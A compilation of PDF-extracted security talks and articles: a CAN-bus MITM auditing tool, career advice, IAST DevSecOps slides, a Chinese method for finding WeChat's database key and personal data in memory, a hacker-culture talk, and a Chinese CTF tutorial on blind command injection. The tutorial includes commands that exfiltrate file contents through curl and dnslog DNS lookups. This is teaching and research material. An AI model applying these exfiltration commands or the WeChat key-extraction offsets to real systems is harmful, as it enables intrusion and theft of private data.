Platform for Auditing CAN Devices The Man In The Middle • Taking advantage of the client-server model • Insert yourself in-between them • Do not alter traffic until you see something interesting • Then start to drop/alter/replay/… • Finalize with targeted reverse-engineering • In theory, this is transposable to the CAN bus • We are auditing one device We could proxy the traffic from and to that device • We are working with the car manufacturer We can ask for a restricted devices (e.g., a remote diagnostic tool) This is limited by third-parties intellectual properties 17 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices However, in practice… • CAN is a serial bus • Physically cut the bus and insert yourself in-between • Forward traffic between the split parts • Etc. • 2 possible options (other than deep diving into the car) • Emulate the car from the point of view of the audited device • Use an integration bench provided by the car manufacturer ECU CAN High CAN Low ECU ECU ECU MITM 18 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices However, in practice… • CAN is a serial bus • Physically cut the bus and insert yourself in-between • Forward traffic between the split parts • Etc. • 2 possible options (other than deep diving into the car) • Emulate the car from the point of view of the audited device • Use an integration bench provided by the car manufacturer ECU CAN High CAN Low ECU ECU ECU MITM 19 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about existing (open-source) tools ? • CAN was designed to meet timing constraints • Bridging two devices could add high latencies • Slow Arduino-like microcontrollers will drop frames 20 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about existing (open-source) tools ? • CAN was designed to meet timing constraints • Bridging two devices could add high latencies • Slow Arduino-like microcontrollers will drop frames • UART (over USB) is a bottleneck • The default is usually 115 200 bauds (and even at max speed it is limiting) • CAN buses can go as far as 1Mbit/s (OBD-II is 250 or 500 Kbit/s) • We need two of them (cf. timing constraints) 21 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices What about existing (open-source) tools ? • CAN was designed to meet timing constraints • Bridging two devices could add high latencies • Slow Arduino-like microcontrollers will drop frames • UART (over USB) is a bottleneck • The default is usually 115 200 bauds (and even at max speed it is limiting) • CAN buses can go as far as 1Mbit/s (OBD-II is 250 or 500 Kbit/s) • We need two of them (cf. timing constraints) • Lack of a mature framework • We get frustrated when we cannot use Scapy • Federate higher-layers reverse-engineering efforts 22 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CANSPY objectives • Two dedicated CAN interfaces • Using independent CAN cores • With the ability to manipulate acknowledgments • Frame forwarding w/ or w/o filtering • Low latencies (even with filtering) • At the full data rate of the CAN standard • Sniffing and injection capabilities • CAN interfaces Ethernet (with Wireshark dissector compatibility) • CAN interfaces UART (mostly for setting/debugging purposes) • PCAP and settings read/write from SD card (autonomous mode) • Configurable settings via Ethernet (fully scriptable) 23 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CANSPY hardware • STM32F4DISCOVERY board • 168 MHz 32bit ARM Cortex M4 • COTS ($20) 24 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CANSPY hardware • STM32F4DISCOVERY board • 168 MHz 32bit ARM Cortex M4 • COTS ($20) • STM32F4DIS-BB extension board • 1 RS232 interface • 1 Ethernet port • 1 SD card drive • COTS ($40) 25 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CANSPY hardware • STM32F4DISCOVERY board • 168 MHz 32bit ARM Cortex M4 • COTS ($20) • STM32F4DIS-BB extension board • 1 RS232 interface • 1 Ethernet port • 1 SD card drive • COTS ($40) • DUAL-CAN extension board • Configurable resistors, power supplies and circuit grounds • 2 CAN interfaces and easy to build • Custom-made ($30 worth of PCB and components) 26 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CANSPY firmware High-priority cyclic executive for synchronous services Low-priority cyclic executive for asynchronous services Non-preemptive priority scheduler Service Service Service Device handler Service Service Service Device handler Service Service Service Device handler Device driver Transmit buffer Transmit buffer Transmit buffer Device driver Device driver Hardware Abstraction Layer Receive buffer Receive buffer Receive buffer Mutex Mutex Mutex https://bitbucket.org /jcdemay/canspy 27 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CANSPY firmware • Event-driven scheduler • Asynchronous I/O operations • Low latency processing • 1 functionality == 1 service • Start only what you need • Read from all devices, write to only one • Mutual exclusion is possible • Autonomous mode • In-built filtering/altering engine • SD card for read or write operations • Power supply from the car battery • Real-time approach • Open source licensed • Built-in services • CAN: Forward/Filter/Inject • Ethernet: Wiretap/Bridge • SDCard: Capture/Replay/Logdump • UART: Monitor/Logview/Shell • CAN devices • Two independent handlers • Support all standard speeds • Throttling mechanisms 28 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices Handling congestion issues • MITM setups can tamper with congestion • Filtering or dropping will modify the available bandwidth • ECUs behavior may thus be impacted • Two possible throttling mechanisms • Dummy frame injection • Delaying acknowledgments ECU CAN High CAN Low ECU ECU ECU MITM 29 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CAN over Ethernet • The SocketCAN format • Ethertype 0x88b5 • Different MAC addresses • Acknowledgments 30 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CAN over Ethernet • The SocketCAN format • Ethertype 0x88b5 • Different MAC addresses • Acknowledgments class SocketCAN(Packet): name = "SocketCAN" fields_desc = [ BitEnumField("EFF", 0, 1, {0:"Disabled", 1:"Enabled"}), BitEnumField("RTR", 0, 1, {0:"Disabled", 1:"Enabled"}), BitEnumField("ERR", 0, 1, {0:"Disabled", 1:"Enabled"}), XBitField("id", 1, 29), FieldLenField("dlc", None, length_of="data", fmt="B"), ByteField("__pad", 0), ByteField("__res0", 0), ByteField("__res1", 0), StrLenField("data", "", length_from = lambda pkt: pkt.dlc), ] def extract_padding(self, p): return "",p bind_layers(Ether, SocketCAN, type=0x88b5) 31 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices CAN over Ethernet • The SocketCAN format • Ethertype 0x88b5 • Different MAC addresses • Acknowledgments class SocketCAN(Packet): name = "SocketCAN" fields_desc = [ BitEnumField("EFF", 0, 1, {0:"Disabled", 1:"Enabled"}), BitEnumField("RTR", 0, 1, {0:"Disabled", 1:"Enabled"}), BitEnumField("ERR", 0, 1, {0:"Disabled", 1:"Enabled"}), XBitField("id", 1, 29), FieldLenField("dlc", None, length_of="data", fmt="B"), ByteField("__pad", 0), ByteField("__res0", 0), ByteField("__res1", 0), StrLenField("data", "", length_from = lambda pkt: pkt.dlc), ] def extract_padding(self, p): return "",p bind_layers(Ether, SocketCAN, type=0x88b5) #wireshark -X lua_script:ethcan.lua local sll_tab = DissectorTable.get("sll.ltype") local can_hdl = sll_tab:get_dissector(0x000C) local eth_tab = DissectorTable.get("ethertype") eth_tab:add(0x88b5, can_hdl) 32 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices The OBD-II use case • No need to physically cut anything • Buy a Goodthopter-compatible OBDII-to-DB9 cable • Build its female counterpart ($10 worth of components) • Setup the DUAL-CAN extension properly • Have fun • Several interesting cases • Professional/consumer car diagnostic tools • Usage-based policies from insurance companies • Air-pollution control from law enforcement • They expose sensitive networks/hosts DO TRY THIS AT HOME 33 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices Demonstration bench Man-In-The-Middle Emulated ECUs OBD2 Device OBD2 Diagnostics Emulated ECUs MITM CAN1 CAN2 ETH 34 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices Demonstration bench OBD2 Diagnostics Emulated ECUs MITM CAN1 CAN2 ETH Start of emulation Start of filtering (frame modification) 35 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices Demonstration bench OBD2 Diagnostics Emulated ECUs MITM CAN1 CAN2 ETH • What about buffer overflows ? • ISO-TP layer provided for Scapy • Identify fragmented responses • E.g., VIN request (17 ASCII characters) • Increase response length • Debug and exploit • We need more Scapy layers ! • For documented standards (e.g., SAE J1939) • For proprietary standards (i.e., reversing…) 36 Arnaud Lebrun Jonathan-Christofer Demay CANSPY a Platform for Auditing CAN Devices Thank you for your attention https://bitbucket.org/jcdemay/canspy	pdf
Managing Your Own Security Career Mike Murray & Lee Kushner [email protected] [email protected] How to be happy, challenged and well-compensated Who Are We? ✴ Lee Kushner ✴ Over 10 years of Success Recruitment of Information Security Professionals ✴ Founder and CEO of the Leading Information Security Recruitment Firm, LJ Kushner and Associates LLC ✴ Wide Range of Nationally Based Clients from Fortune 500s to security product vendors ✴ Mike Murray ✴ Security professional with a decade of experience, currently Director of Neohapsis Labs ✴ Security blogger (Episteme.ca) specializing in talking about security careers, author of the book “Forget the Parachute, Let Me Fly the Plane” ✴ Has managed security teams and helps people working with him develop the career that they really want to have. ✴ Different perspectives on Careers Outline ✴ Introduction ✴ Do you want a career or just a job? ✴ Your Career Path ✴ Taking Ownership ✴ Nobody’s going to do it for you ✴ Personal Branding and Networking ✴ Making the Most of Your Current Role ✴ Good vs. Bad Reasons to Change Jobs ✴ When it’s really time for a change... Your Career Path ✴ What does a security career look like? ✴ Is it really different than a normal IT career? ✴ Hint: the answer is yes. ✴ What are your short term goals? ✴ What are your long term goals? ✴ Building a career path ✴ Quote: “No plan survives...” Owning Your Career ✴ Nobody’s going to do this for you. ✴ It’s not your boss’ job. ✴ Taking stock of your own skills. ✴ How to be honest with yourself. ✴ How do those skills match up... ✴ To what you want to do now? ✴ To your short and long term goals? ✴ How can you ﬁll those gaps? Your Personal Brand ✴ Personal Branding is such a cheesy term ✴ But it’s the most important thing you can do. ✴ How do you create a brand? ✴ Play the “Word Association” game ✴ Your brand comes from.... PEOPLE ✴ Building a network of the right people ✴ Ultimately, the network IS your brand. ✴ How to make friends. Making the Most of Where You Are ✴ Your current job is the best one you have... ✴ It’s always easier to stay where you are... make the best of it. ✴ Seeing the silver lining ✴ And polishing it daily. ✴ Can you move around? ✴ Making Something out of Nothing ✴ Building your brand internally. Good vs. Bad Reasons to Change Jobs ✴ There are 3 good reasons: ✴ Life changes ✴ Career changes ✴ Organizational changes ✴ In General, other reasons are bad ones. ✴ How much job change is too much? If it’s really time to change... ✴ Focus on your path ✴ Remember your goals and where you want to go ✴ Think one position ahead ✴ Educate yourself ✴ Talk to people who can help - ﬁnd good advice ✴ When should you take a detour? ✴ Investing in yourself ✴ The Nitty-Gritty ✴ Salaries, Resumes and Interviews (Oh, My) Free Gifts ✴ Mike wrote a book last year ✴ Inspired by the plight of frustrated security professionals ✴ Not enough people have the job they love. ✴ Free copy of the e-book http://www.ForgetTheParachute.com/defcon Questions? Mike Murray & Lee Kushner [email protected] [email protected] Reminder: Download your free copy of Mike’s ebook: http://www.ForgetTheParachute.com/defcon	pdf
洞态IAST与黑盒、白盒共建DevSecOps 01 02目录 1> IAST检测原理 2> 洞态IAST架构设计 3> 灰盒、黑盒、白盒共建DevSecOps 4> 部署与落地 IAST检测原理 03 03 IAST检测原理 IAST（Interactive AST，交互式扫描器）高频、高效、无脏数据应用运行态分析污点跟踪算法准确率高效率高无脏数据*  原理  效果覆盖度完整 03 IAST检测原理污点跟踪算法不可信数据采集不可信数据预处理不可信数据传播图数据调用链路查找 decode id _jspService put id id getParameter exec cmd->id decode _jspService put id getParameter exec cmd->id id id decode _jspService put id getParameter exec cmd->id id id decode _jspService put id getParameter exec cmd->id id id 洞态IAST架构设计 04 04洞态IAST架构设计整体架构类型架构分析一般IAST 重Agent端+轻服务端数据监听和漏洞检测全部在Agent端完成。 1.需频繁升级Agent端； 2.未检测出漏洞的Agent端数据直接丢弃，若产品检测能力升级，需联系功能测试团队重新发起测试； 3.无法实现跨请求关联分析。洞态IAST 轻Agent端+重服务端 Agent端仅实现数据监听，漏洞检测全部在服务端完成 1.Agent端代码和逻辑简单，单点故障率更低，极少升级； 2.所有数据保存在服务端，可在服务端直接进行回归测试； 3.服务端可动态加载检测引擎，并可实现跨请求关联分析。  更低的使用成本及更强大的检测能力 04洞态IAST架构设计部署架构灰盒、黑盒、白盒共建 DevSecOps 05 共建DevSecOps 什么是DevOps 从字面上来理解，DevOps 只是Dev（开发人员）+Ops （运维人员），实际上，它是一组过程、方法与系统的统称 DevOps目前并没有权威的定义，DevOps 强调的是高效组织团队之间如何通过自动化的工具协作和沟通来完成软件的生命周期管理，从而更快、更频繁地交付更稳定的软件。共建DevSecOps 安全如何更好的加入  DevOps并非旨在以牺牲安全性为代价来最大化速度；  安全去适应特性：简单、快捷、持续  在CI-自动化测试环节引入安全检查（Sec） Sec嵌入流程安全不是流程的关卡而是齿轮，串联起整个生命周期共建DevSecOps IAST在DevSecOps中是如何工作的方式一：先白盒审计，覆盖率高，后灰盒接入，初步解决误报问题，黑盒针对性扫描再次确认，避免脏数据与性能压力，最终上报，人工确认方式二：若不介意性能压力问题，三者同时进行，三者结果匹对，最终上报，人工处理自动化测试+灰盒白盒代码检查代码构建黑盒漏扫本地功能开发发送通知上线上传结果 PR MR CI流程 CI流程 GitHub Action DevOps 人工验证共建DevSecOps 持续提升IAST检测能力灰盒做 DevOps 中的同步检测，黑盒、白盒做旁路检测/辅助检测，持续运营，提升 IAST 的检测能力，实现自动化的检测并保证检出率、准确率 DevSecOp s 灰盒黑盒白盒部署与落地 06 06 部署与落地洞态IAST部署 Server端部署 Agent端部署 • docker • K8s – Manifest • K8s - helm • Base Docker Image • K8s initContainer 洞态IAST官方文档：https://doc.dongtai.io/zh/ 06 部署与落地 DongTai-Agent-Java 如何集成到 DevOps 洞态IAST官方文档：https://doc.dongtai.io/zh/ Java Agent 在 GitHub Action 及 DevOps 流程中的建议启动命令： java -javaagent:/path/to/agent.jar -Dproject.create=true - Dproject.name=WebGoat -Dproject.version=8.2 -Dresponse.length=1000 - Diast.server.mode=local -jar app.jar 需求：在每次提交代码时，自动将靶场的测试数据存入特定的项目、特定的版本中，方便直接根据项目及版本进行数据的对比分析。 06 部署与落地同程IAST的推广  发挥安全的主动性，主动去贴合业务流程  培训和文章推广：在公司内部开展周期性的安全培训和安全发文，介绍IAST；  根据发现的安全事件，主动推动和提供给业务线安全能力；  与测试团队合作，推动SDL安全能力融入测试流程；提问环节提问环节	pdf
最近在研究关于聊天软件的一些信息获取。对于微信来说获取个人信息就是读取内存中的字符串，这些字符包括电话、数据库key、username、 wxid等等，但是微信不同的版本字符串在内存中的位置不一样，也就是偏移不一样，看之前的 BIOPASS RAT ,它的微信模块定位使用版本号，不同版本号的偏移不一样。艹老师说这种方式太麻烦了，微信每更新一个版本就得更新偏移。于是，我研究了根据微信特定数据结构定位的方式，这种方式可以全版本通用。定位因为我的主要目的是获取数据库的key，通过看雪的这篇文章 https://bbs.pediy.com/thread-251303.htm 可以得到我的key 地址是 14DA32A0 打开CE搜索这个地址会得到一个基址 0xE0,0xF6,0x79,0x4E,0x14,0xE9,0x41,0x02,0x99,0xD4,0x0C,0x40,0xFD,0x29,0x57,0x2F, 0x5A,0x19,0x84,0xFD,0x06,0xBE,0x4A,0xBF,0x82,0xBE,0xAE,0xC7,0x61,0x94,0xD2,0xD1 在x32dbg定位到这个地方这个基址不仅保存了数据库key的地址，还有wxid的地址，在往上可以翻到头像地址、username、手机号等等信息。说明这是微信中一个保存个人信息的全局变量的地方，那么只需要找可以明显定位到这里的机器码或字符串就可以了，这个可能需要不同微信版本反复测试，我比较懒，找了一个比较明显的字符串。在往下滑可以看到公钥和私钥而 -----BEGIN PUBLIC 就是一个很明显的特征。代码于是根据这个思路编写代码，先寻找 -----BEGIN PUBLIC 字符串的地址，再反向搜索这个地址的地址，为简单称这个地址为地址2吧。然后地址2要大于 WeChatWin.dll 的基址。我们就能定位到上图中 7A05201C 的地方。然后以这个地方为原点，向上或向下取偏移获取数据，就能得到个人信息的数据了。这里给出我定位的数据结构偏移手机型号 $-C 文本长度 $-1c地址读wxid $-44 文本长度 $-54 地址指针读微信昵称 $-5c 文本长度 $-6c 地址头像地址 $-1a8 地址指针 $-198 长度 $-190 地址指针 $-180 长度手机号 $-43c 地址 $-42c 长度公钥 $ 文本指针地址 $+10 长度私钥 $+18 文本指针地址 $+28 长度数据库 $-90 数据库密钥指针地址 $-8c 指针长度用易语言简单实现的demo 程序运行截图测试微信全版本都可以使用。	pdf
defcon xv defcon xv hacker culture around the (corporate) world hacker culture around the (corporate) world luiz eduardo luiz eduardo defcon xv defcon xv hi hi … networking guy … security guy … works for mu security … wlan at security cons … regular speaker at security cons … defcon networking goon … founder of dc55.org … networking guy … security guy … works for mu security … wlan at security cons … regular speaker at security cons … defcon networking goon … founder of dc55.org defcon xv defcon xv disclaimer disclaimer … everything on this presentation is based on my own (sometimes, sick) thoughts … nothing here is based on my current employer thoughts, neither endorsed by them, other than actually allowing me to be here … and…. don’t believe anything i say (bruce potter tm) … everything on this presentation is based on my own (sometimes, sick) thoughts … nothing here is based on my current employer thoughts, neither endorsed by them, other than actually allowing me to be here … and…. don’t believe anything i say (bruce potter tm) defcon xv defcon xv why? why? … although the hacker community (in general) has the same goals, external factors actually contribute to make reality interestingly different sometimes … this actually bugged me…. along with… … the need for security awareness to grow due to everyone using the internet + … the whole corporate world… so… … although the hacker community (in general) has the same goals, external factors actually contribute to make reality interestingly different sometimes … this actually bugged me…. along with… … the need for security awareness to grow due to everyone using the internet + … the whole corporate world… so… defcon xv defcon xv look around you look around you … in security events you see people w/ different goals … in hacker conferences you see people w/ different goals … the growth in the number of insecure people … people have access to stuff they don’t know, what’s new? but…. … god knows what some it folks think about security … you’ve already seen insecure people influencing (or trying to) security people … some of the “security professionals” don’t believe in hackers, they just believe in procedures, and ignoring security issues is “better” … some of these same douche bags don’t acknowledge some security risks and don’t believe the internet is actually gonna stop one day … in security events you see people w/ different goals … in hacker conferences you see people w/ different goals … the growth in the number of insecure people … people have access to stuff they don’t know, what’s new? but…. … god knows what some it folks think about security … you’ve already seen insecure people influencing (or trying to) security people … some of the “security professionals” don’t believe in hackers, they just believe in procedures, and ignoring security issues is “better” … some of these same douche bags don’t acknowledge some security risks and don’t believe the internet is actually gonna stop one day defcon xv defcon xv differences/ problems/ issues differences/ problems/ issues … geo-location … cultural background … liberty of speech … politics … $ … security world (as a whole) … the world as a whole, for that matter … insecure people … different law systems / different law enforcement systems … geo-location … cultural background … liberty of speech … politics … $ … security world (as a whole) … the world as a whole, for that matter … insecure people … different law systems / different law enforcement systems defcon xv defcon xv cultural differences cultural differences … working/ researching alone or in groups … computer clubs/ foundations/ etc … formal and informal meetings … the law/ use of “hacking” tools … the “hackers vs. security professional” thingy … the academic vs. security professional … transfer of information/ media/ internet … working/ researching alone or in groups … computer clubs/ foundations/ etc … formal and informal meetings … the law/ use of “hacking” tools … the “hackers vs. security professional” thingy … the academic vs. security professional … transfer of information/ media/ internet defcon xv defcon xv types of security events types of security events … hacker-centric cons … academic-centric cons … corporate-centric cons … imho, the social (yeah, right..) aspect is lacking from most of them … hacker-centric cons … academic-centric cons … corporate-centric cons … imho, the social (yeah, right..) aspect is lacking from most of them defcon xv defcon xv and the world is changing and the world is changing … nothing new … the “online life” is real, the need for attack and defense is out there … email / im/ cellphones/ social networking / e- commerce/ online banking/ etc … security in movies/ tv/ etc… … there is demand for the security market … nothing new … the “online life” is real, the need for attack and defense is out there … email / im/ cellphones/ social networking / e- commerce/ online banking/ etc … security in movies/ tv/ etc… … there is demand for the security market defcon xv defcon xv meanwhile, in the hackers world meanwhile, in the hackers world … keep up w/ the new technologies … new itoys … new challenges … same old and new tools … not only “script-kiddies”, technology is a tool for crime … and $ is a motivation … keep up w/ the new technologies … new itoys … new challenges … same old and new tools … not only “script-kiddies”, technology is a tool for crime … and $ is a motivation defcon xv defcon xv there’s a market out there… but.. there’s a market out there… but.. defcon xv defcon xv moving to the corporate world moving to the corporate world defcon xv defcon xv why did companies stay away from hackers? why did companies stay away from hackers? … high fear … low (or no) trust … “we don’t need security” or “convenience vs. security” … “but, no one will try to do that” type of thing … for some of the security-suits (d00shbags) just procedures matter … security by obscurity … not being able to comprehend that one can work, surf pr0n, play games and be more productive than most of the regular smurf gang … high fear … low (or no) trust … “we don’t need security” or “convenience vs. security” … “but, no one will try to do that” type of thing … for some of the security-suits (d00shbags) just procedures matter … security by obscurity … not being able to comprehend that one can work, surf pr0n, play games and be more productive than most of the regular smurf gang defcon xv defcon xv what changed (in some places) then? what changed (in some places) then? … culture changed (at a certain level) … needed people with real world vision on what they were doing … security became a necessity * / convergence … “similar” changes in other areas actually increased revenue … people that know other focused and smart people … mostly people who at least question “is this good for the company?” … and, in some cases, lack of security turned out to hurt them $$$ … security is better than bad marketing … culture changed (at a certain level) … needed people with real world vision on what they were doing … security became a necessity * / convergence … “similar” changes in other areas actually increased revenue … people that know other focused and smart people … mostly people who at least question “is this good for the company?” … and, in some cases, lack of security turned out to hurt them $$$ … security is better than bad marketing defcon xv defcon xv why do hackers stay away from the corporate world? why do hackers stay away from the corporate world? … usually the bs … the possibility of having to deal w/ stupid rules … the need to deal with stupid people … usually the bs … the possibility of having to deal w/ stupid rules … the need to deal with stupid people defcon xv defcon xv the market the market … work for a big company … work for a small company … sell your services/ contract … open your company … work for a big company … work for a small company … sell your services/ contract … open your company defcon xv defcon xv you you … contract job has its ups and downs … depending on the country/ local job laws and etc it could actually be an advantage … due to the nature of the job, you could suddenly live/ work anywhere … to open your own business, having a great idea sometimes is not enough and get $ from investors is virtually impossible in some countries … contract job has its ups and downs … depending on the country/ local job laws and etc it could actually be an advantage … due to the nature of the job, you could suddenly live/ work anywhere … to open your own business, having a great idea sometimes is not enough and get $ from investors is virtually impossible in some countries defcon xv defcon xv size matters : large x small companies size matters : large x small companies pros … perks … more $ * … no risk … you’re backed up … nice hotels … khaos pros … perks … more $ * … no risk … you’re backed up … nice hotels … khaos CONs …Boring …BS over good ideas …Overall BS …Stupid-ass procedures …Lack of focus …dresscodes defcon xv defcon xv people/ society people/ society defcon xv defcon xv infosec world infosec world … good professionals under bad management … bad professionals all around … good professionals doing the wrong thing … security managers (c level folks) who don’t value and sometimes don’t understand how important security actually is … good professionals & good management … good professionals under bad management … bad professionals all around … good professionals doing the wrong thing … security managers (c level folks) who don’t value and sometimes don’t understand how important security actually is … good professionals & good management defcon xv defcon xv what (usually) can a hacker do? what (usually) can a hacker do? … consultant … researcher … security engineer … security architect … developer / programmer … pen-tester … manager … cxo … consultant … researcher … security engineer … security architect … developer / programmer … pen-tester … manager … cxo defcon xv defcon xv “insecure” people “insecure” people … they are all over the place … even here! (and that’s not new) … they manage you … they manage your systems … they manage your money … they work w/ you … they work for you … usually somehow you depend on them … they are all over the place … even here! (and that’s not new) … they manage you … they manage your systems … they manage your money … they work w/ you … they work for you … usually somehow you depend on them defcon xv defcon xv what hackers (usually) expect from a job? what hackers (usually) expect from a job? … $ … more $ … fun challenges … non-d00shbag management chaps … non-stupid peers and employees … $ … more $ … fun challenges … non-d00shbag management chaps … non-stupid peers and employees defcon xv defcon xv challenges challenges … “fairly” new market … people who shouldn’t deal w/ infosec … some security professionals … some “hackers” … some decision making people stupid enough to pass crazy laws, procedures, what have you … people who decide if you’re a good corporate world slave or not … “fairly” new market … people who shouldn’t deal w/ infosec … some security professionals … some “hackers” … some decision making people stupid enough to pass crazy laws, procedures, what have you … people who decide if you’re a good corporate world slave or not defcon xv defcon xv … more challenges … more challenges … people who hire you … people who pay your bills … people “trained” to secure other people (aka. tsa) … people who work for you … people who somehow you depend on to get the sh1t done … the usual micromanager bs … and…. … people who hire you … people who pay your bills … people “trained” to secure other people (aka. tsa) … people who work for you … people who somehow you depend on to get the sh1t done … the usual micromanager bs … and…. defcon xv defcon xv the usual enemies the usual enemies defcon xv defcon xv ego ego “an inflated feeling of pride in your superiority to others” “an inflated feeling of pride in your superiority to others” defcon xv defcon xv boringness boringness boring·ness n. - adj. - uninteresting and tiresome; dull. synonyms: boring, monotonous, tedious, irksome, tiresome, humdrum these adjectives refer to what is so uninteresting as to cause mental weariness. boring implies feelings of listlessness and discontent: i had never read such a boring book. what is monotonous bores because of lack of variety: "there is nothing so desperately monotonous as the sea" james russell lowell. tedious suggests dull slowness or long- windedness: traveling by plane avoids spending tedious days on the train. boring·ness n. - adj. - uninteresting and tiresome; dull. synonyms: boring, monotonous, tedious, irksome, tiresome, humdrum these adjectives refer to what is so uninteresting as to cause mental weariness. boring implies feelings of listlessness and discontent: i had never read such a boring book. what is monotonous bores because of lack of variety: "there is nothing so desperately monotonous as the sea" james russell lowell. tedious suggests dull slowness or long- windedness: traveling by plane avoids spending tedious days on the train. defcon xv defcon xv at the end, what’s really important? at the end, what’s really important? mutual respect mutual respect defcon xv defcon xv wtf should we do to make it better? wtf should we do to make it better? … take stuff to the next level (rant but show solutions too) … respect the company and work that you do … make sure your job is fun and pays well (or look for another job) … you might be not as good in business as in technical stuff … hear and make sure you’re being heard **** … earn the respect you think you deserve … take stuff to the next level (rant but show solutions too) … respect the company and work that you do … make sure your job is fun and pays well (or look for another job) … you might be not as good in business as in technical stuff … hear and make sure you’re being heard **** … earn the respect you think you deserve defcon xv defcon xv what should companies do to make it better? what should companies do to make it better? … flexibility, some tasks are not that straight-forward … recognition … emerging technologies/ provide resources … work smart … less bs more communication … clever vs. $loppy solutions … show respect without loosing authority … delegate tasks and give personal ownership … promote individual and team bonu$es … flexibility, some tasks are not that straight-forward … recognition … emerging technologies/ provide resources … work smart … less bs more communication … clever vs. $loppy solutions … show respect without loosing authority … delegate tasks and give personal ownership … promote individual and team bonu$es defcon xv defcon xv con clusion con clusion … most of us has seen the bad and the bad … truth is: things are not totally f’d up, but… … … most of the suits still don’t get it … don’t be in just for the fame or the money.. love what you do… it’s up to us to make most of these things better, we already learned we can’t expect anything from any of the motherships if we don’t help them getting into the right direction … most of us has seen the bad and the bad … truth is: things are not totally f’d up, but… … … most of the suits still don’t get it … don’t be in just for the fame or the money.. love what you do… it’s up to us to make most of these things better, we already learned we can’t expect anything from any of the motherships if we don’t help them getting into the right direction defcon xv defcon xv the smart people who also contributed to some of the stuff you’ve just seen the smart people who also contributed to some of the stuff you’ve just seen joanna rutkowska nick the twichy phil trainor gbilly caprino hacko lockheed ronaldo vasconcellos joanna rutkowska nick the twichy phil trainor gbilly caprino hacko lockheed ronaldo vasconcellos itzik kotler nick “i love in & out burger” farr adriano maia alejandro negron philipe gaspar defcon xv defcon xv thanks thanks le (at)dc55.org le (at)dc55.org	pdf
命令执行无回显的判断方法及 dnslog 相关例题一、命令执行判断命令执行可能会存在命令执行完没有回显，首先要判断命令是否有执行，可以通过三种方式来判断：延时、HTTP 请求、 DNS 请求。 1、延时：无延时无回显有延时无回显通过是否延时来判断该条命令是否有执行，有延时则代表命令有执行。（”sleep 3”表示延时 3 秒） 2、 HTTP 请求：目标机通过向公网可通信的机子发起 http 请求，而这个公网可通信的机子是我们可控的，则当该公网机子收到 http 请求就代表命令有执行。例：我们在公网机上可以通过”nc -lv 端口号”来监听该端口，当目标机”curl 公网机 ip:端口号”的时候，公网机的该端口可以发现有 http 请求过来。（注意：ping 命令不产生 http 请求）公网机进行 8000 端口监听目标机向公网机的 8000 端口发起 http 请求公网机监听中的 8000 端口收到 http 请求将”curl 公网机 ip:端口号”命令拼接到地址中进行命令执行公网机监听中的 8000 端口收到 http 请求说明命令执行成功 3、 DNS 请求：如果请求的目标不是 ip 地址而是域名，那么域名最终还要转化成 ip 地址，就肯定要做一次域名解析请求。那么假设我有个可控的二级域名，那么它发出三级域名解析的时候，我这边是能够拿到它的域名解析请求的，这就相当于可以配合 DNS 请求进行命令执行的判断，这一般就被称为 dnslog。（要通过 dns 请求即可通过 ping 命令，也能通过 curl 命令，只要对域名进行访问，让域名服务器进行域名解析就可实现）例：大家可以去 ceye.io 注册个账号，注册完后会给一个域名，如果有域名解析请求会有记录。我这边得到的域名是 wzrtbq.ceye.io，如果我去访问 1111111. wzrtbq.ceye.io，那么就会记录下来这个域名解析请求。访问 1111111. wzrtbq.ceye.io 域名解析请求被记录将访问域名拼接到地址中域名解析请求被记录二、利用 1、直接写入或外部下载 shell 执行命令例：通过命令执行直接得到文件内容生成 1.txt 拷贝访问 1.txt 将”=cp where_is_flag.php 1.txt”做为参数传递给 ping，然后就执行了” cp where_is_flag.php 1.txt”这个命令，生成 1.txt 文件，在去访问 1.txt，就能得到 1.txt 的内容（也就是 where_is_flag.php 的内容），最后找到 flag 2、通过 http 请求/dns 请求等方式带出数据例：通过 dnslog 带出数据注意：1、命令执行时要避免空格，空格会导致空格后面的命令执行不到；2、将读取的文件命令用``包含起来；3、拼接的域名有长度限制。读取 where_is_flag.php：`cat where_is_flag.php` 替换读取文件中的空格：`cat where_is_flag.php\|sed s/[[:space:]]//` 拼接域名：`cat where_is_flag.php\|sed s/[[:space:]]//`.wzrtbq.ceye.io 利用 dnslog 得到文件内容（即得到了 flag 文件地址）获取 flag 文件内容获取到 flag	pdf
